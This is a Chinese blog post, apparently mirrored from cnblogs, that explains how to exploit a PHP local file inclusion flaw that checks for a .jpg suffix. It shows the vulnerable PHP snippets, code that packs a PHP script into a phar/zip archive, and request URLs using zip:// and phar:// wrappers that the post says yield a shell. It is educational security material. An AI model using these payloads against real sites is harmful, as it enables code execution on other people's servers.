zoukankan      html  css  js  c++  java
  • 【文件包含技巧拓展】————2、zip或phar协议包含文件

    这个方法适用于验证包含文件为特定后缀时。 例如以下代码

    <?php
    $file = $_GET['file'];
    if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
    	include($file);
    }
    ?>
    
    <?php
    $file = $_GET['file'];
    include($file.'.jpg');
    ?>

    上面的代码一个验证了后缀是否为jpg,一个是直接添加了jpg后缀,然后才包含。对于现在这种情况,要包含php文件的话的,可以通过截断。但是x00的截断在php>5.3.4就没用了,而且还要考虑GPC,所以是比较鸡肋的方法。其实我们可以通过zip协议和phar协议来包含文件。

    zip://

    首先我们新建一个zip文件,里面压缩着一个php脚本。

    然后我们构造zip://php.zip#php.jpg

    http://127.0.0.1/file.php?file=zip://php.zip%23php.jpg

    这样就成功shell了。

    phar://

    首先我们要用phar类打包一个phar标准包

    <?php
    $p = new PharData(dirname(__FILE__).'/phartest2.zip', 0,'phartest2',Phar::ZIP) ; 
    $x=file_get_contents('./php.php');
    $p->addFromString('a.jpg', 
    $x); 
    ?>

    会生成一个zip的压缩文件。然后我们构造

    http://127.0.0.1/file.php?file=phar://php.zip/php.jpg

    也可以直接shell

    其中phar适用范围为php>5.3.0

    以下的这种包含方式在这样的情况下是无效的。

    include(一个规定的路径+可控点)

    总会有不期而遇的温暖. 和生生不息的希望。
  • 相关阅读:
    HttpClient——POST请求方法
    【Httpclient+TestNG】接口自动化测试——GET请求示例
    一些杂碎的小知识点
    搭建linux服务器的环境
    javase(1)
    事务处理
    数据库优化
    表单重复提交--->使用Session防止表单重复提交
    两个小程序
    java基础小知识(2)
  • 原文地址:https://www.cnblogs.com/devi1/p/13486352.html
Copyright © 2011-2022 走看看